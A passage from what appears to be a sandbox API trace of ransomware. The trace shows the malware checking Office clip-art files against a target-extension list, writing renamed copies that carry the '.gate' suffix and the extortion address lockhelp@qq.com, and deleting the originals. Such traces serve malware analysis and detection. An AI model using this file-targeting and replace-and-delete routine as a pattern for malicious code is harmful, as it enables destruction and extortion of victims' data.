(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0321.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.136] lstrlenW (lpString=".doc") returned 4 [0321.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.136] lstrlenW (lpString=".docx") returned 5 [0321.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.136] lstrlenW (lpString=".pdf") returned 4 [0321.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.136] lstrlenW (lpString=".xls") returned 4 [0321.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.136] lstrlenW (lpString=".xlsx") returned 5 [0321.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.136] lstrlenW (lpString=".ppt") returned 4 [0321.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.136] lstrlenW (lpString=".zip") returned 4 [0321.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.136] lstrlenW (lpString=".rar") returned 4 [0321.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.137] lstrlenW (lpString=".bz2") returned 4 [0321.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.137] lstrlenW (lpString=".7z") returned 3 [0321.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.137] lstrlenW (lpString=".dbf") returned 4 [0321.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.137] lstrlenW (lpString=".1cd") returned 4 [0321.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.137] lstrlenW (lpString=".jpg") returned 4 [0321.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.137] lstrlenW (lpString=".doc") returned 4 [0321.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.137] lstrlenW (lpString=".docx") returned 5 [0321.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.137] lstrlenW (lpString=".pdf") returned 4 [0321.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.137] lstrlenW (lpString=".xls") returned 4 [0321.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.137] lstrlenW (lpString=".xlsx") returned 5 [0321.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.137] lstrlenW (lpString=".ppt") returned 4 [0321.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.138] lstrlenW (lpString=".zip") returned 4 [0321.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.138] lstrlenW (lpString=".rar") returned 4 [0321.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.138] lstrlenW (lpString=".bz2") returned 4 [0321.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.138] lstrlenW (lpString=".7z") returned 3 [0321.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.138] lstrlenW (lpString=".dbf") returned 4 [0321.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.138] lstrlenW (lpString=".1cd") returned 4 [0321.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0321.138] lstrlenW (lpString=".jpg") returned 4 [0321.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.138] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.138] lstrlenW (lpString="AN04332_.WMF") returned 12 [0321.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.139] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4296) returned 1 [0321.139] CloseHandle (hObject=0x374) returned 1 [0321.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0321.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.139] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.139] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0321.140] GetLastError () returned 0x0 [0321.140] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x10c8, lpOverlapped=0x0) returned 1 [0321.141] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0321.142] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.142] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.142] SetEndOfFile (hFile=0x38c) returned 1 [0321.142] CloseHandle (hObject=0x38c) returned 1 [0321.142] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.142] SetEndOfFile (hFile=0x374) returned 1 [0321.143] CloseHandle (hObject=0x374) returned 1 [0321.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0321.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.144] lstrlenW (lpString=".doc") returned 4 [0321.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.144] lstrlenW (lpString=".docx") returned 5 [0321.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.144] lstrlenW (lpString=".pdf") returned 4 [0321.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.144] lstrlenW (lpString=".xls") returned 4 [0321.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.144] lstrlenW (lpString=".xlsx") returned 5 [0321.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.144] lstrlenW (lpString=".ppt") returned 4 [0321.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.145] lstrlenW (lpString=".zip") returned 4 [0321.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.145] lstrlenW (lpString=".rar") returned 4 [0321.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.145] lstrlenW (lpString=".bz2") returned 4 [0321.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.145] lstrlenW (lpString=".7z") returned 3 [0321.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.145] lstrlenW (lpString=".dbf") returned 4 [0321.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.145] lstrlenW (lpString=".1cd") returned 4 [0321.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.145] lstrlenW (lpString=".jpg") returned 4 [0321.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.145] lstrlenW (lpString=".doc") returned 4 [0321.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.145] lstrlenW (lpString=".docx") returned 5 [0321.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.145] lstrlenW (lpString=".pdf") returned 4 [0321.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.145] lstrlenW (lpString=".xls") returned 4 [0321.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.146] lstrlenW (lpString=".xlsx") returned 5 [0321.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.146] lstrlenW (lpString=".ppt") returned 4 [0321.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.146] lstrlenW (lpString=".zip") returned 4 [0321.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.146] lstrlenW (lpString=".rar") returned 4 [0321.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.146] lstrlenW (lpString=".bz2") returned 4 [0321.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.146] lstrlenW (lpString=".7z") returned 3 [0321.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.146] lstrlenW (lpString=".dbf") returned 4 [0321.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.146] lstrlenW (lpString=".1cd") returned 4 [0321.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0321.146] lstrlenW (lpString=".jpg") returned 4 [0321.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.146] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.147] lstrlenW (lpString="AN04355_.WMF") returned 12 [0321.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.147] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3228) returned 1 [0321.147] CloseHandle (hObject=0x374) returned 1 [0321.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0321.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.147] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.147] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0321.148] GetLastError () returned 0x0 [0321.148] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0321.517] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xca0, lpOverlapped=0x0) returned 1 [0321.519] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.519] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.519] SetEndOfFile (hFile=0x38c) returned 1 [0321.519] CloseHandle (hObject=0x38c) returned 1 [0321.519] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.519] SetEndOfFile (hFile=0x374) returned 1 [0321.520] CloseHandle (hObject=0x374) returned 1 [0321.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0321.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.521] lstrlenW (lpString=".doc") returned 4 [0321.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.521] lstrlenW (lpString=".docx") returned 5 [0321.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.521] lstrlenW (lpString=".pdf") returned 4 [0321.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.521] lstrlenW (lpString=".xls") returned 4 [0321.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.521] lstrlenW (lpString=".xlsx") returned 5 [0321.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.521] lstrlenW (lpString=".ppt") returned 4 [0321.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.522] lstrlenW (lpString=".zip") returned 4 [0321.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.522] lstrlenW (lpString=".rar") returned 4 [0321.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.522] lstrlenW (lpString=".bz2") returned 4 [0321.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.522] lstrlenW (lpString=".7z") returned 3 [0321.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.522] lstrlenW (lpString=".dbf") returned 4 [0321.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.522] lstrlenW (lpString=".1cd") returned 4 [0321.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.522] lstrlenW (lpString=".jpg") returned 4 [0321.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.522] lstrlenW (lpString=".doc") returned 4 [0321.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.522] lstrlenW (lpString=".docx") returned 5 [0321.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.522] lstrlenW (lpString=".pdf") returned 4 [0321.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.522] lstrlenW (lpString=".xls") returned 4 [0321.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.523] lstrlenW (lpString=".xlsx") returned 5 [0321.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.523] lstrlenW (lpString=".ppt") returned 4 [0321.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.523] lstrlenW (lpString=".zip") returned 4 [0321.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.523] lstrlenW (lpString=".rar") returned 4 [0321.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.523] lstrlenW (lpString=".bz2") returned 4 [0321.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.523] lstrlenW (lpString=".7z") returned 3 [0321.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.523] lstrlenW (lpString=".dbf") returned 4 [0321.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.523] lstrlenW (lpString=".1cd") returned 4 [0321.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0321.523] lstrlenW (lpString=".jpg") returned 4 [0321.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.523] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.523] lstrlenW (lpString="BD07761_.WMF") returned 12 [0321.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.524] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=26748) returned 1 [0321.524] CloseHandle (hObject=0x374) returned 1 [0321.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0321.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.524] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.524] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0321.525] GetLastError () returned 0x0 [0321.525] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x687c, lpOverlapped=0x0) returned 1 [0321.527] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x6880, lpOverlapped=0x0) returned 1 [0321.529] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.529] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.529] SetEndOfFile (hFile=0x38c) returned 1 [0321.529] CloseHandle (hObject=0x38c) returned 1 [0321.529] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.529] SetEndOfFile (hFile=0x374) returned 1 [0321.530] CloseHandle (hObject=0x374) returned 1 [0321.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0321.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0321.531] lstrlenW (lpString="C:\\Program Files\\Microsoft 